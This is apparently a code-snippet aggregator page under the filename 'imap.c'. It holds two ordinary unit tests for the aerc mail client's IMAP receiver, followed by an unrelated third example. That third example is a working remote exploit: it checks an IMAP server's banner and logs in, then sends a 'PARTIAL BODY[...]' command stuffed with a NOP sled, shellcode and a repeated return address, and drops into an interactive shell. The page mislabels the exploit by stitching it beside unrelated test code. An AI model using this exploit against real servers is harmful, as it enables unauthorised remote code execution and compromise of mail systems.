Esempio n. 1
0
File: imap.c Progetto: SirCmpwn/aerc
static void test_imap_receive_partial_line(void **state) {
	struct imap_connection *imap = malloc(sizeof(struct imap_connection));
	imap_init(imap);
	imap->mode = RECV_LINE;

	const char *buffer = "a001 FOOB";

	set_ab_recv_result((void *)buffer, strlen(buffer));
	will_return(__wrap_ab_recv, strlen(buffer));

	will_return(__wrap_poll, 0);
	will_return(__wrap_poll, 0);
	imap->poll[0].revents = POLLIN;

	imap_receive(imap);

	expect_string(__wrap_hashtable_get, key, "FOOBAR");
	will_return(__wrap_hashtable_get, test_handler);

	const char *remaining_buffer = "AR\r\n";

	set_ab_recv_result((void *)remaining_buffer, strlen(remaining_buffer));
	will_return(__wrap_ab_recv, strlen(remaining_buffer));

	imap_receive(imap);

	assert_int_equal(handler_called, 1);

	imap_close(imap);
}
Esempio n. 2
0
File: imap.c Progetto: SirCmpwn/aerc
static void test_imap_receive_full_buffer(void **state) {
	struct imap_connection *imap = malloc(sizeof(struct imap_connection));
	imap_init(imap);
	imap->mode = RECV_LINE;

	char buffer[4096];
	memset(buffer, 'a', 4096);

	const char *cmd_1 =  "a001 FOOBAR ";
	memcpy(buffer, cmd_1, strlen(cmd_1));
	const char *cmd_2 =  "\r\na002 FOOBAZ ";
	memcpy(buffer + 2048 + 128, cmd_2, strlen(cmd_2));
	buffer[4094] = '\r';
	buffer[4095] = '\n';

	will_return(__wrap_poll, 0);
	will_return(__wrap_poll, 0);
	will_return(__wrap_poll, 0);
	will_return(__wrap_poll, 0);
	imap->poll[0].revents = POLLIN;

	set_ab_recv_result((void *)buffer, 1024);
	will_return(__wrap_ab_recv, 1024);
	imap_receive(imap); // First command (incomplete)

	set_ab_recv_result((void *)(buffer + 1024), 1024);
	will_return(__wrap_ab_recv, 1024);
	imap_receive(imap); // First command (incomplete)

	expect_string(__wrap_hashtable_get, key, "FOOBAR");
	will_return(__wrap_hashtable_get, test_handler);
	set_ab_recv_result((void *)(buffer + 2048), 1024);
	will_return(__wrap_ab_recv, 1024);
	imap_receive(imap); // First command (complete), second command (incomplete)

	assert_int_equal(handler_called, 1);

	expect_string(__wrap_hashtable_get, key, "FOOBAZ");
	will_return(__wrap_hashtable_get, test_handler);
	set_ab_recv_result((void *)(buffer + 2048), 1024);
	will_return(__wrap_ab_recv, 1024);
	imap_receive(imap); // Second command (complete)

	assert_int_equal(handler_called, 2);

	imap_close(imap);
}
Esempio n. 3
0
int main(int argc, char *argv[])
{
  struct sockaddr_in server;
  struct servent *sp;
  struct hostent *hp;
  int s, i , ret, align;
  int blaw = 1024;
  char *user, *passwd;

  char imap_info[4096];
  char imap_login[4096];
  char imap_query[4096];
  char buffer[2048];

  int exit_code = GOOD_EXIT;

  if (argc != 6) usage(argv[0]);

  user = argv[2];
  passwd = argv[3];
  ret = strtoul(argv[4], NULL, 16);
  align = atoi(argv[5]);

  if ((hp = gethostbyname(argv[1])) == NULL)
    exit_code = ERROR_EXIT;

  if ((exit_code == GOOD_EXIT) && (sp = getservbyname("imap2", "tcp")) ==
NULL)
    exit_code = ERROR_EXIT;

  if (exit_code == GOOD_EXIT) {
    if ((s = socket(PF_INET, SOCK_STREAM, DEFAULT_PROTOCOL)) < 0)
      return exit_code = ERROR_EXIT;

    bzero((char *) &server, sizeof(server));
    bcopy(hp->h_addr, (char *) &server.sin_addr, hp->h_length);
    server.sin_family = hp->h_addrtype;
    server.sin_port = sp->s_port;
    if (connect(s, (struct sockaddr *) &server, sizeof(server)) < 0)
      exit_code = ERROR_EXIT;
    else {
      printf(" [1;34mVérification de la bannière : [0m\n");
      if (exit_code = imap_receive(s, imap_info, sizeof(imap_info)) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      printf("%s", imap_info);
      if (strstr(imap_info, "IMAP4rev1 200") == NULL) {
        printf(" [1;32mService IMAPd non reconnu ... [0m\n");
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_send(s, "x CAPABILITY\n")) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      printf(" [1;34mVérification des options du service : [0m\n");
      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      printf("%s", imap_info);
      if (strstr(imap_info, " IMAP4 ") == NULL) {
        printf(" [1;32mService IMAPd non vulnérable ... [0m\n");
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      printf(" [1;31mService IMAPd vulnérable ... [0m\n");
      sprintf(imap_login, "x LOGIN %s %s\n", user, passwd);
      if ((exit_code = imap_send(s, imap_login)) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }
      printf("%s", imap_info);

      if ((exit_code = imap_send(s, "x SELECT Inbox\n")) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }
      printf("%s", imap_info);

      memset(buffer, 0x90, sizeof(buffer));
      memcpy(buffer + 512, sc, strlen(sc));

      for (i = blaw + align ; i < 1096; i +=4)
        *(unsigned int *)(&buffer[i]) = ret;

      *(unsigned int *)(&buffer[i + 1]) = 0;

      sprintf(imap_query, "x PARTIAL 1 BODY[%s] 1 1\n", buffer);
      if ((exit_code = imap_send(s, imap_query)) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_send(s, "x LOGOUT\n")) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }
    }
  }

      i = interact( s );

  return exit_code;
}